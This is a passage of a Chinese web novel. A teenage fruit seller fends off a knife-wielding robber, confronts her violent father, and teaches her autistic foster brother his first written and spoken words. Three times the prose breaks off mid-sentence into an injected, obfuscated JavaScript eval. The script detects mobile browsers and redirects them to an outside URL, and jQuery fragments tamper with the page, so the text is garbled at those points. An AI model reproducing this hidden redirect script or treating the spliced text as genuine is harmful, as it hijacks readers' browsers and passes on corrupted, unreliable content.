李晓言打开课本开始默读起来,她把书摊开在席子上,指着那一行行字母默默念叨,小铮的裤子烤干后,就缩进了李晓言披在肩上的被窝里,好像李晓言给他撑起了一个帐篷,他露出脑袋也瞅着书上的那一行行字母,和一幅幅图画。 李晓言一读英语总爱晃神,每次读完两段就不知道想到什么地方去了,等反应过来时又得从头再来,一篇文章能让她重读个七八遍才能完事,每次读完,她都觉得不仅自己长叹一口气,连手上这本课本都跟着长叹了一口气。 “去他妈的中国人干嘛要学英语。”李晓言急了,把书一摔,扭头转向大街上。 大街上偶尔飘过几个人影,还有几只野猫野耗子。 那几个歌舞厅正是华灯初上歌舞喧嚣的时候,有两个背着背篓卖货的小商贩一人占了一家,李晓言现在的位置正好对准了其中两家较大的,所以她没打算挪。她琢磨着今天出现的那四家对手,其中一家就是歪瓜裂枣夫妇,他们也做了升级,有一家是之前在这里卖菜的,估计他是看出卖水果利润可观,比卖菜强,所以也转行了。 还有两家,她都不认识,但那两家人的脾气都不错,和和气气,甚至说的上嘴里含蜜,所以能留得住顾客。 这五家三轮车卖家里面,只有她家有两辆三轮车,架势最大,生意却最差,老人家常说和气生财,她觉得真的很有道理,就她爸妈那种一点就炸的臭脾气,不爽全写在脸上,自己是顾客也不愿意来。 但这事儿吧,无解。 就像她也改不了自己的脾气一样,更何况让她父母改。 以前竞争小的时候怎样都能喝点汤,偶尔还能吃块肉,如今竞争大了,也许会被彻底挤压出局。 李晓言想着这些,心情却并没有多暴躁慌乱,可能是白天喷发过了,全天的配额已经用完了,她如今倒有种空旷的平静。 许铮的身子暖暖的,在她的身子右侧贴着,跟个小热水袋一样,他还是像个小石墩一样杵在原地看着那本带图的英语书,那些不明觉厉的字母一个个在他脑海中坐着小马车哒哒哒溜过,他甚至都顾不得他姐转了一个方向面朝大街了。 他亲妈以前教他洗脸、教他刷牙、教他上厕所……但却从来没有教过他这些书上带字的东西,因为他亲妈也不会。他亲妈也没有想过把他送去幼儿园,因为他自己都觉得许铮这样的,这辈子也就是个傻子了,上学也没用,别人也不会收。 但是他脑子里却异常清晰的刻录着这些符号,就像他被送去福利院时记下的那些路标一样,不知道什么意思,但就是能记得清清楚楚,好像脑子在不受控制的复制着这些奇怪的符号。 李晓言中途起身去捡过几个木板,一并扔进火堆里,火堆噼啪作响,吓了小铮一哆嗦。 李晓言见他对那堆火有了反应,便想起了刘家豪的话,指着那堆火说着:“火。” 小铮没看她,还是继续盯着那团火,愣愣的。 “火,”李晓言继续重复着,“火、火、火、火、火……” 重复了二十几遍后,许铮仍旧没有反应,他直接埋下头继续瞅那本英语书了。 “你脑袋堵住了?”李晓言抓了抓自己的后脑勺,又伸出手指戳了戳许铮的脸蛋。 许铮没有感觉,都没有抬头看她一眼。 “靠!”李晓言叹气道,“这病果然还带开倒车的。” 她从包里摸出一支笔,在那本英语书上写了个火字,然后用笔尖指了指面前的那团火,又重复了一遍:“火!” 许铮忽然抬头看她,双眼放光,然后两只手拍了一下席子,发出一个欢快的声音。 “哈——” “嗯?”李晓言侧耳倾听,以为自己耳背了。 “哈——”许铮又拍了一下,兴奋的说道。 “不是哈,是火,火火火火火火火火……” “哈——” “我去,”李晓言放弃了,指着自己说,“我是谁?嗯?” 许铮这下没“哈”了,他拧着眉看李晓言,两眼中的光渐渐变得黯淡了,从兴奋又变成了平静。 他在思考这个手势的含义。 “哎——”李晓言有些无奈,她不知道许铮的脑回路是怎么绕的,许铮知道“李晓言”“刘家豪”“傻逼”,哦,对了,还有个“哈”,但完全不知道这些话的意思,而且也不知道什么时候能学会一个新词。 要是知道他的学习路径还好说,但偏偏连条路都没有,就像在大雾弥漫的深林里找路,不累死也得惆怅死。 李晓言想缓口气,便重新去读她的英语课本,她翻了一页后,默读一篇新的课文,许铮也安静下来,他呆呆着看着李晓言的手指在那一行行字母间游走,时不时还要从头再游,他记下了那手指游走的全过程,觉得好玩的不得了,好像那是个顶有趣的游戏。 “喂,小丫头,你这橘子怎么卖?” 快凌晨一点的时候,一个穿着短夹克的男人站在了三轮车前面,嘴里还叼着咽,双手一直揣在兜里,好像特别冷似的。 “一块二,这是好货。”李晓言答。 “行,给我来五斤。”男人哆嗦着说道。 李晓言瞥了他的手一眼,面无表情的去扯袋子,把橘子装进袋中,她没有选择最方便的从前面捡的方式,而是站到三轮车旁侧,伸长手臂从侧边捡。 “你给我捡前面的,我要前面的。”男人有些不耐烦。 李晓言看了他一眼,挪到前面,男人站在她身后,她只能背对着他,但她一边捡一边留了个眼神到地上,地上的影子在火光的照射下十分清晰,能看的清那影子的一举一动。 “哈——”许铮不知道看见了什么,抓着笔大叫一声,李晓言把目光转向他,就在这刹那之间,后面那人从夹克里掏出一把刀,一下就抵到李晓言的腰上。 “小丫头,哥最近有点手紧,跟你借点。”后面的那个男人压低声音说。 “大意了……”李晓言心里叹息,她也不知道自己在怀疑后面那人兜里揣着刀的情况下,为什么还会被许铮的一声叫喊给分了心,可能是怕他遇到什么危险,她都想给自己搬个中国好姐姐奖项了。 “大哥,我就是个沿街讨饭的,我要有钱,还这个点摆摊吗?”李晓言说道。 “得了,别瞎废话,”后面的男人有些恼火起来,“你们做买卖的总有现金零钱带在身上,别以为我不知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445314|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交出来,不然我让你今天脑袋开花,别以为你是女的我就下不去手。” “行,在车缝里,我给你拿。”李晓言一脸不屑的回答着,她一看这男人的脸色气质,就知道这家伙是个赌鬼,连打手混混都算不上,也就是穷途末路的赌鬼才会拿出一把小刀戳着一个穿着厚棉衣的少女的后背,威胁她拿钱。 如果是经验丰富的混混,一定是直接把刀架在脖子上,或者直接用绳子套了人,然后自己翻。 李晓言没有多紧张,但也不想被这个走投无路的赌鬼给胡乱划一刀。 她往前走了两步,转过身在那堆乱七八糟的箱子里翻着,赌鬼把视线转向那堆箱子,又转身看看四周,焦急的催促着。 李晓言拿出一把零钱,交给男人,男人接过钱后激动的把拿小刀的手缩了回去,就在这一秒钟的时间,李晓言握紧拳头就朝男人的脖子砍了过去,“咯咯”两声响,男人还没来得及抬头,就被一股强力撞飞到三轮货车上,脖子有些扭不过来,耳朵也嗡嗡直响。 男人倒在车上,顺势拿起刀,李晓言又是一个掌刀砍到他的手臂上,男人手掌发麻,小刀脱手掉进了货车里,李晓言迅速伸手从里面捡起刀,另一只手将男人按在了货车上,三轮车都被这突然而来的暴力给晃荡了好几下,发出吱吱的声音。 李晓言把刀尖对准男人的脖颈,男人吓得脸都抽筋了,口齿不清的喊道:“丫……头……姑……娘……美女饶命,我……我……我……” 男人“我”半天没我出什么来,李晓言绷着脸对他说道:“你他妈再来捣乱,我就废了你,听到没有!” “听……听到了。”男人看起来真的被吓得不轻,一句话也说不囫囵,李晓言使劲一甩手,小刀落进了不远处的护城河里,李晓言拍了拍男人的脸,“好手好脚不知道干活,啊,做这种勾当,你要是敢来找我麻烦,我捅死你丫的,我说到做到。” “不敢……不……不来……绝对不来。” 李晓言把男人放开,男人的牙齿还在打颤,他一瘸一拐的赶紧跑了,他怎么也没想到这个瘦削的小姑娘手劲这么大,一胳膊拐子下来,就跟一条钢筋砸下来一样,明明看上去是个清秀的小美女,身形也不魁梧。 “操,真他奶奶的背,走夜路还他妈撞见鬼!” 男人走远了,李晓言弯腰把车里面那些压坏的橘子捡出来扔了,她整理完零钱和货物后才转身看向许铮,许铮正直勾勾的看着她,半张着嘴,说不出是什么表情。 李晓言刚才的那些动作他全看见了,不仅是李晓言的,还有那个男人的,许铮的记忆连不成线,一直是以点状的方式存在着,如果没有刺激他都没办法自行回忆起曾经发生过的事,但方才那些刺激就足够了,他曾经经历过的事情在此刻开闸而出,全都像洪水一般奔腾到他的面前。 那些在山上的记忆,他每天晚上被一个男人抽打的记忆,他妈每天反抗却被打得满身是血的记忆…… 李晓言走过来,想伸手摸他脑袋时,许铮哆嗦了一下往后退了好几步,脑袋和身子都在微微抽搐着。 李晓言的手停在半空中,她看着许铮脑袋上的璇儿,虽然她无法从许铮那里求证,但她在潜意识中却有一种直觉,明白许铮为什么会这样。 李晓言缩回手,往那堆火里加了点木材,刻意离许铮远一些,然后把英语书拿过来继续念,这一架把她所有的困意都给打没了,脑子清楚的不得了,好像那本英语书上的课文都自带翻译在她眼皮底下蹦跶。 李晓言决定从前一页重新读,她翻到前一页,看见书页上的字,忽然就懵了。 在她那个很丑的火字下面,有一个更丑的火字,像骨折了的木条被强行搭建到了一块儿。 丑的十分糟心。 李晓言猛地抬头看许铮,许铮还在那里颤抖着,呆呆看着前方,李晓言忽然明白刚才他在“哈”什么,那会儿目光扫过去时,她确实看见许铮手里拿着那根笔。 22. 第 22 章 李晓言爸喝了半瓶酒后裹着衣服睡到了第二天早上,他洗把脸走出门,虽然心里一万个不情愿,还是耷拉着脸去三岔路口瞅瞅情况。毕竟他要吸烟、要喝酒、要时不时吃顿好的,这些钱都得从李晓言妈那里来,他是个直男癌,却直不利索,心里面觉得女的就该洗衣做饭养娃挣钱,一切以男的为上,要把男的伺候的好好的,但遇到李晓言妈那样的悍妇,他也没办法翘着腿做天王老子。 李晓言妈一直睡到早上五点才起来,浑身发酸,双腿都麻了。她睁眼就看见李晓言在那里整理着箱子,街面上连个鬼影都没有,空荡荡萧条的厉害。 火堆已经熄灭了,小铮蒙着头缩在被子里睡觉,李晓言把他裹得很严实,只在头顶留点空隙让这孩子呼吸。 李晓言妈忽然就鼻子发酸,她一个女人大晚上却要睡在大街上,家不像家,她很委屈。 她没嫁之前也是个爱笑爱闹的姑娘,性格温和,但嫁给李晓言爸之后,却发现这个男人顶不住头上的那片穹顶,所以只能换她自己来顶,全家就这么一片天,不顶不行,她就在日复一日的顶天立地中,渐渐从小女人变成了一个悍妇,脊梁骨都加了一层钢筋铁铸。 绝望的枝条偶尔会疯狂蔓延,从心脏瞬间延伸至四肢百骸,她此时此刻就是这般心境。 李晓言爸冷着脸走到三轮货车前面,看见那些货没少多少,便冷哼一声:“我还以为你守个夜能卖多少,还不是只卖一点,还敢跟老子顶嘴。” 如果这个人不是她爸,李晓言真想抡着拳头往他脸上招呼,她一声不吭,去被窝里推了推许铮,许铮睡得正熟,没有被她推醒,李晓言便将他连被子一起拉扯了起来,另一只手卷起席子抓在手里,朝出租屋走回去。 李晓言妈也起来收拾,李晓言爸点了支烟走到她面前:“你再给我点钱,我去买点货把另一个三轮车装满。” “买什么买,”李晓言妈瞪了他一眼,“这车货都没卖完。” 李晓言爸加大了声量:“别他妈一大早就跟我甩脸子,见到你这张脸就想吐,什么运气都被你弄没了,我装满货自己上街上去卖,你就在这里卖你的,别他娘的一天天怨这个怨那个,一张怨妇脸。” 李晓言妈眼眶发红,泪珠大颗大颗滚落下来,她胡乱抹了一下,狰狞着说道:“你这是要分家的意思啊,好,我就给你钱,我就看你能卖多少,妈的批见到我想吐,老娘见到你更想吐,逑本事没有,人家男人当老师做公务员,要技术有技术,你呢,啥都不会,就知道管你那张嘴,嫁给你都是倒八辈子大霉。” “骂,你继续骂,”李晓言爸握紧了拳头,快速走到三轮货车边,一拳头就把两大箱苹果打飞在地,“老子让你骂个够,信不信老子把一车货全都掀翻。” “掀!掀不翻老娘跟着你姓!”李晓言妈也尖身吼起来,李晓言刚走到歪脖子树那里,就被这尖吼声震的停住了脚步,她转过身看向三岔路口时,她爸两只手抡起了三轮货车,整车货都一并散落在地,三轮车倒向地面的猛烈撞击声重重敲打在她的心上,把她吓得踉跄了一下。 熟悉的感觉再一次回来了,小学时那个只能躲在被子里哭的李晓言又一次回来了,那段关于暴力的回忆,那段关于风雨飘摇的记忆全都回来了。 她爸完全没有停手的意思,她妈扑上去就开始扯打,李晓言看见她爸从地上捡起了饭盒里的筷子,眨眼间就朝她妈的大腿上扎了进去。 李晓言把还没睡醒的许铮放下,转身就朝三岔路口冲回去,她飞速拿起她妈睡的那个躺椅就朝她爸砸过去,她爸赶紧用手臂挡住,但李晓言的手劲和冲力都不算小,她爸被这一下给砸倒在了地上,他身后的橘子被压的稀烂,汁水糊了他一身。 “你他妈吃撑了,敢打你老子,”李晓言爸一抬脚就踹进了李晓言的心窝子里,李晓言往后退几步稳住了,她妈尖叫哭嚎起来,李晓言爸一下弹起来,扑上前扯住了李晓言的衣领,一巴掌就扇在了她的脸颊上。 “啊——”李晓言妈尖锐的叫声几乎要贯穿整条街道。 李晓言想挣脱她爸的手掌,却发现她爸的手劲一如既往的强劲,几年前她曾经看她爸一巴掌就把一个男人打在地上起不来,这几年李晓言爸动手少了,整天抽烟喝酒,连李晓言都怀疑他干不动架了,没想到自己还是反抗不过他。 “你这几招都是老子教给你的,好的很啊,教会小的打老的,”李晓言爸往李晓言脸上拍了几巴掌,“继续来,一会儿让所有人看看你这个混账该不该天打雷劈,啊!” 李晓言妈杵在原地不知道怎么办,她一方面很想拉开李晓言爸,但另一方面她又被李晓言给吓住了,这是李晓言第一次朝她爸动手,这个女人无论多恨她男人,遇到事却还是要站在她男人那一边,所以她也觉得李晓言应该长长教训。 她还在犹豫之时,却瞥见一个黑乎乎的影子刮了过去,许铮像个发疯的小老虎一样扑上去抓住了李长青的大腿,然后张大嘴冲着李长青的大腿狠狠咬了下去,仿佛非撕下一块肉不可。 李长青叫喊一声,还没看清楚是谁,就冲许铮头顶砸下一拳头,许铮完全没理会那一拳头,依旧死命咬着那条大腿,李长青没有穿棉裤,所以痛感很强烈,他转身就一巴掌拍到许铮的脑袋上,把许铮拍倒在地上。 许铮爬起来时,鼻孔里流下两行血,他双眼鼓得老大,目眦欲裂,目光的焦点全在李晓言爸的大腿上,他刚站好就要扑上去,李晓言爸正要给他一脚,却被李晓言从后面抱住了。 “你他妈给老子放手,”李长青拼命挣扎着,胳膊拐子撞了李晓言三四下,“老子今天不打醒你们,你们就他妈不知道这个家谁说了算。” 李晓言被她爸暴力撞击了好几下,周围渐渐有人围了过来,不过大多都是看热闹的,没人打算上前帮手,李晓言妈觉得不好看,赶紧把许铮抱起来,又顺势拍了他脑袋两下:“你这个龟儿子,吃我家的米还居然敢咬人,长大了也是个狼心狗肺的。” “你别碰他!”李晓言暴吼一声,把她妈吓住了,李晓言把她爸放开,朝其他人挥挥手,“快滚,看什么看,看你妈逼看!” 周围看热闹的一哄而散,嘴里啧啧啧,脑袋摇的好像李晓言是这个世界上最恶臭的女孩,一副居高临下的道德家模样,李晓言真想把这些人都给宰了,她憎恶这个世界的原因,一半起源于她父母,另一半就起源于这些哪怕是凶杀现场,也要笑嘻嘻观摩品评,顺便啧啧感叹,居高临下踩别人一脚的路人。 “哇——啊——”小孩的哭声传到了她耳朵里,李晓言回过头,看见许铮在她妈怀里汪汪大哭起来,他哭的很伤心,两行泪就跟趵突泉似的止不住往外喷涌,李晓言愣住了,李晓言父母也愣了一下,他们都转头看着许铮,一时间像被人点了穴一样一动不动。 李晓言方才还想抡起刀宰了所有人的罪恶冲动也被许铮这一声哭给彻底融化了。 她走到她妈面前,从她手里抱过许铮,李晓言妈也有点懵,轻声说:“我听说他以前从来没哭过。” “嗯。”李晓言淡淡应一声,她想伸手擦掉许铮的眼泪,但又觉得这孩子终于哭了一回,不如就让他痛痛快快哭个尽兴,她方才心里的苦和恨,好像都被许铮给感应到了,李晓言想哭却没法哭,生活不允许她哭,她有些恍惚,好像许铮是替她哭出来一样。 “我要去学校,”李晓言瞅了她妈一眼,“你们要怎么闹就随便吧,我不想管了,如果你们活不下去了,那我就不读书了,我出来打工养活我自己,就这样。” 李晓言冷着脸抱着许铮走回去,她听着许铮在她耳朵边抽噎哭泣,心里既难过又欣慰,不知道怎的,这孩子好像成了她的镇定剂,让她在面对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445315|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个随时让她想要疯狂嘶吼自我毁灭的世界时,能稍微回过点神来。 许铮好像给了她一片软绵绵的草地,让她可以暂时躺在上面呼吸一下。 李晓言回出租屋后,烧好热水洗了脸,也把热帕子放在许铮脸上搓揉着,要把他脸上的泥都给搓下来。许铮还不会刷牙,李晓言就让许铮拿着牙刷等她刷完,然后手把手带着许铮刷,昨晚许铮想撒尿时,李晓言又把他逮住教了一回,所以裤子到今天早上还是干的。 做完这一切,李晓言带小铮去附近的油条摊吃了早饭,一人一大碗豆浆,还有油条,李晓言喜欢把油条泡在豆浆里,等油条软一些再吃,小铮看着李晓言的动作,十分生涩的转动着手里的筷子,然后去夹李晓言泡在他碗里的油条。 李晓言看着他一身不吭的转动着筷子,忽然有点羡慕,许铮的思维方式很特别,具体怎么特别她也不知道,但这孩子好像能专注于一件事很长很长时间,对于外界不怎么关注,哪怕他刚才哭得肝肠寸断,现在一关注到油条上,那这个世界就只剩下油条。 李晓言用手蘸了一点豆浆,在桌上写了个“火”字,许铮没有关注她,还是纠结着自己的筷子。 李晓言把他的头抬了一下,让他把视线转向那个“火”字,许铮一看见图形,就双眼放光,然后拍了桌子一下,高兴的喊了出来。 “哈——” 李晓言忍不住笑了,她故意张大嘴,对着许铮说:“火!火!火!火!火!火!” 周围人都扭头看向她,许铮愣了好一会儿,才弱弱的回了一句:“呵——” 李晓言:“……” “再来一遍,火!”李晓言就跟第一次听到儿子喊妈的大姑娘一样激动,“小铮,火!” 许铮的脑子终于接通了:“哈!火……” 李晓言拍了他脑袋一样:“我他妈都快落泪了。快吃吧,豆浆该凉了。” 许铮不明白,李晓言便坐到他那边,带着他一块儿吃那泡软了的油条。 她心里突然有了个怀疑,也许许铮记东西是从图形上去记的,这个讯息她必须要跟刘家豪说,也许刘家豪能想出更好的办法来教许铮。 她看着许铮的脑袋,想起他刚才扑过来咬她爸的时候,虽然这么说有点大逆不道,但她还是觉得暖暖的,在当下这一刻她只觉得,她父母都从来没给过她的温暖和安心,却让这个小崽子给了她一回。 那颗全世界和你为敌,我也要站在你这一边的心,她活了这么大,终于在一个“傻子”身上体会到了。 也或许,只有傻子才会这样一往无前,全心全意吧。 “你这孩子,”李晓言在她没察觉的情况下露出了老母亲般的笑容,眼睛眯成了一条缝,揉了揉许铮的头发,“还知道胳膊肘往内拐了,没白疼你。” 临出门时,李晓言把小黑桶刷洗干净,一并交给了山东大娘,请她帮忙看着许铮什么时候尿裤子,教教他怎么撒尿。 山东大娘虽然头疼,但还是欣然接受了,一来她孙儿喜欢李晓言,她要帮衬一下;二来她自己也闲的没事干,她老伴去的早,她儿子儿媳都在藏区做生意,低价收购这边的淘汰家具,然后运到藏区高价卖,一来一去能赚不少钱,但也得常年忍受高海拔的压力,她家有一儿一女,在家里赚不了多少钱,只能跟着一帮人去藏区找机会。 山东大娘在家照顾两孙儿,算的上是棚户区里时间最多的人,所以她也图个乐,给自己找个伴。 而且小铮还长得乖巧清秀,这对老一代颜值党党代表山东大娘来说,简直不给她任何拒绝的理由。 小铮今天倒是没有太焦虑,好像已经有点习惯这个模式了,李晓言慢悠悠晃去学校,她一夜没睡,但精神却不错,可能是连续打了两架把她的神经系统都给激活了,总之她还是神清气爽的听了一天课。 23. 第 23 章 她父母此后几天都没有作妖,两人果然分开卖水果了。 她妈守在三岔路口,生意还是没什么起色,但每天也有十几块的盈利,够全家人吃糠咽菜了。 她爸踩着三轮车满城跑,偶尔回来笑嘻嘻的,偶尔灰着个脸,愁眉紧锁着不说话,但看的出来精神好了许多。 唯一有一点让人奇怪的是,他货车上的货没少多少,他自己说是卖完了所以去补上了,但李晓言老觉得心里不踏实,她爸每天回来交个五块十块的,她总觉得有哪里不对劲。 不过这种不对劲也没持续多久,因为她的功课越来越多,而小铮的状况也发生了变化,她不得不把心思都集中在自己的课程和小铮的恢复上。 她把那天的讯息告诉刘家豪之后,刘家豪很激动,他第二天就把自己的零花钱全掏了出来,去给小铮买了一些画纸和画笔,还翻出了自己一年级时候的语文课本,教小铮读写那些字。 但许铮并不搭理刘家豪,他很喜欢画纸和画笔,在上面乱写乱画着什么,因为字太丑了有些内容让人看不懂,刘家豪周六等李晓言上完课回来就把许铮画的东西给她。 李晓言当场就沙雕了。 可能她的字也丑破天际,所以她对丑字很有辨识力。 许铮画了许多东西。 第一张是密密麻麻的符号,她认出那个是英文字母,而且是她那天晚上在火堆边看的那篇,许铮不仅把那篇文章写出来了,而且是按李晓言回过去重读的顺序写的。第二篇是张画,很难辨认的画,李晓言看了好半天才认出来,这是张细菌分裂图。 “你什么时候给他看过细菌分裂图?”刘家豪都快激动疯了,好像这孩子是他儿子一样。 “什么时候?”李晓言捏了捏眉心,她努力回忆了快十分钟,才使劲拍了一下大腿,“对,某一天无聊的时候,我把生物书给他看,他胡乱翻着,还翻得挺快。我天,这小子看一下就记住了?” 李晓言同学此时是凌乱风中的,她除了数学物理以外,凡是跟背诵沾点边的科目都学的要吐血,但这孩子居然看一下就记住了,还能画下来,这简直是对李晓言同学的努力进行赤/裸/裸的鄙视。 刘家豪尖叫一声跳起来,差点扑在李晓言身上,李晓言赶紧躲开,虽然刘家豪目前看来还没什么性别意识,把自己活得比老爷们儿还糙,但李晓言却很清晰,再糙对方也是男生,搂搂抱抱不合适。 “你快看最后一张,保管你哭出来。”刘家豪眼中的光芒都快把他的眼镜片给刺穿了。 李晓言不急不慢翻到最后一张,想着这崽子还要如何碾压自己的智商,但翻到最后一张时,她愣住了,像个木桩子一样被一榔头嵌进了大地上。 最后一张是她的画像。 哪怕有点抽象,有点意识流,但还是一眼就能看出来,这画上那个微微昂着头,冷着脸俯视向下的人就是李晓言。 许铮把李晓言那副不屑冷傲阴郁的气质给呈现的栩栩如生。 “哦,我懂了,”李晓言不知道该笑还是该头疼,纠结两秒她还是笑了,“这就是他视线里的我对吧?” “哈哈,”刘家豪都快乐疯了,“你弟弟简直是天才,一下就画出了你的神形,搁别人还真不一定能画出来。” “什么神形,他半边脸都给画歪了好吗,”李晓言对这张画把她的脸画歪还是有些不满的,“虽然我不在乎脸,但我也知道我长相还算对得起市容市貌。” “是是是,你美的人神共愤,天怒人怨。”刘家豪被她的厚脸皮惊住了。 “什么破形容词。”李晓言瞪了他一眼,又扭头去看那张画,越看心里越乐,这还是她的第一幅画像,她都没想过有一天会有人给她画像,这跟拍照片的感觉很不相同,就像画画的人什么形貌也不在乎,只抓住她内在最显著的本质,把她的灵魂从身体里抽出来呈现在那张画纸上。 很奇妙的感觉。 “感动吧,想哭吧,”刘家豪低着头瞅着她的眼睛,“你现在能体会当妈的心情了吧。” “靠——”李晓言笑骂一声,“我现在能体会当祖宗的心情。” 许铮还在地上画着,他自从有了手上的这些新欢,连对李晓言也不像以前那么注意了,但他知道,他姐在乐,他姐就在他身边,他不是一个人,这就足够了。 刘家豪让李晓言对许铮进行分组语言训练,把日常称呼先学一学,先学会“哥哥”“姐姐”“叔叔”“阿姨”“奶奶”这几个词,毕竟这几个词代表了许铮目前所涉及的人物关系。 李晓言拿着那些画,才突然有些感谢老天爷,感谢老天爷没有让小铮自闭到完全无法可救的程度,感谢让她认识刘家豪这么个邻居,或者说朋友……只要有路,哪怕再难心里也是有干劲的,她第一次体会到了生活中的那么一点甜。 李晓言晚上回去就开始教许铮写姐姐两个字,许铮学的很快,几乎一遍过,但让他发出姐姐两个音,就跟重爬了一次珠穆朗玛峰一样,教了几十遍也不会。 李晓言筋疲力竭的躺下了,她把“姐姐”两个字写成字条,贴在自己的脑门上,然后面朝着许铮睡觉,让他一闭眼一睁眼就能看见,他面前这两个字跟他面前这个大活人是连在一起的。 但有一点还是让李晓言感到崩溃,第二天一早起来,李晓言发现床单又湿了,许铮正要尖叫时就被李晓言按住了嘴,飞速将他的湿裤子扒拉下来。 她很早爬起来洗床单和裤子,然后她听见钥匙击打的叮当声,回头一看,发现她爸刚从外面回来,一脸灰黑,嘴里叼着烟,不停咳嗽。 “你怎么?”李晓言扭过头有些惊讶,她的作息时间和她爸妈不同,所以她也不知道她爸妈的情况,“你昨晚没回来?” 李晓言爸也惊了一下,她没想到李晓言这么早起来,把烟头扔在了外面。 “我昨晚在另外一条街守夜,我跟你妈说过。” “哦。”李晓言有些奇怪,但还是没有接着问下去,她爸从来没有一个人守过夜,就算是刚做生意那阵,也是她跟她妈轮流陪着守,因为她爸没生意就心慌,困了也心慌,一慌就想收摊,没有耐心一个人守下去。 “那小子又尿床了?”李晓言爸往水池里一看,拧着眉,“怎么还是学不会撒尿啊,你不是教过他很多次了吗?” “我都没烦你烦什么?”李晓言转过头去不再管他,自从她跟她爸干了一架后,两人虽然没变成仇人,但互相之间还是有点不对付,就像玻璃有了裂痕,拼凑的再好也有痕迹。 “是,他吃老子的米,住老子的房子,结果还护着你,你当然不烦。”李晓言爸又咳嗽了几声,便往房间去了,“养了条白眼狼。” 李晓言转眼看了一下掩住的房门,每次她父母一出现,她就觉得四周的气压骤然变低,低到让人呼吸不过来,人人都说爸妈为孩子挡风遮雨,但李晓言只盼望自己能赶紧长大,离开这个随时带来狂风暴雨的家,能自己安一个能让她顺畅呼吸的小窝,再把许铮接过去好好教他,这便是李晓言此时此刻心里唯一憧憬的未来。 李晓言把床单挂到歪脖子树后便走了回来,许铮已经醒了,怎么都睡不着,时间还早,凌晨五点多,李晓言便打开灯教许铮那几个词。 “小铮,你跟我念,”李晓言重新把字条贴在自己的脑门上,“姐,姐,姐……” 李晓言一边念一边打呵欠。 小铮看着那个字条,眼神随着那两个字移转。 “姐!姐!”李晓言继续加大口型,说的夸张一些。 小铮听了李晓言重复了将近二十遍后,才懵懵懂懂的有些明白,李晓言是要他念那两个字。但他的身体器官并不是很受他的头脑控制,有些事他哪怕有点明白了,身体却偶尔会失灵,想说话却发不出声来。 “怎么学这两个字就这么难呢?”李晓言长长叹了一口气,有些搞不明白,“之前学其他词也没这么难啊。” 李晓言靠在墙壁上瘫着,这些日子她睡的很少,哪怕她是个觉少的,今天也有种说不出的疲惫感。 小铮赶紧凑上去,双手拉着李晓言的手臂,往她肚子上蹭。 李晓言哼笑一声:“你这家伙以前也这么黏人的吗?” 小铮又蹭了两下,他能感受到李晓言的疲惫情绪,他想安慰她,却不知道正常人的安慰方式,以前他疲惫的时候只要蹭着他姐睡一会儿,就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445316|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉入梦乡,所以他以为只要这么蹭一会儿,李晓言也能精神起来。 小铮这段时间接收的讯息量太大了,大到有些让他失控,他以前觉得自己这个身体也好,外界的一切人和事也好,都好像跟他没什么关系,他没有想过要和外界发生连接,也没有想过要操纵这个身体,但这段时间李晓言有意无意做的所有事,都在逼着他与这个世界、与他自己的身体发生连接,有些他能做到,有些他做不到。 “什么时候,你才能跟姐说说话啊,”李晓言闭着眼摸了摸他的头,疲惫的张着嘴,“我也不求你舌灿莲花,出口成章的,就盼着你能和我进行简单的交流,让我知道你在想什么。” 李晓言确实累了,不知不觉连话也变多了,唠叨个没完。 她看那些杂志上写过,有些自闭症孩子长大了也没法说话,有些能重复别人的话,有些倒来倒去就是那孩子感兴趣的内容,还有一些高功能自闭症的孩子,能像正常人一样沟通,虽然还是会有跟正常人不同的地方,但大体上能像个普通人一样生活。 “其实也不是我想知道你在想什么,你在想什么我大体能猜到一些,猜不到的我也不感兴趣,但是我会有离开的那一天,要是姐比你先走,你得跟别人说你在想什么,因为这个世界上的人没有那么大的兴趣和耐心去了解你,他们甚至会害怕你,会误解你,会揍你,你要是能解释能说话,至少是对自己的一种保护。” 李晓言云里雾里的说着,许铮失灵的身体在这个过程中却渐渐接通了,他在李晓言的话里听到的最敏感的字眼只有一个。 许铮抬起头,瓮声瓮气说了声:“姐……” “你啊,”李晓言没反应过来,继续她村头大娘式的唠叨,“将来还要读书,还要上大学,还要娶媳妇儿,还要找个自己喜欢的工作,过点真正舒心的日子……” “姐……”许铮再一次打断她,声音颤颤巍巍的。 李晓言骤然哑口,她睁开眼俯下头看着许铮,许铮又重复道:“姐,姐,姐……” 李晓言瞳孔扩大了一圈,指着自己:“我是谁?你再说一遍!” “姐,姐,姐,姐,姐,姐,姐……” 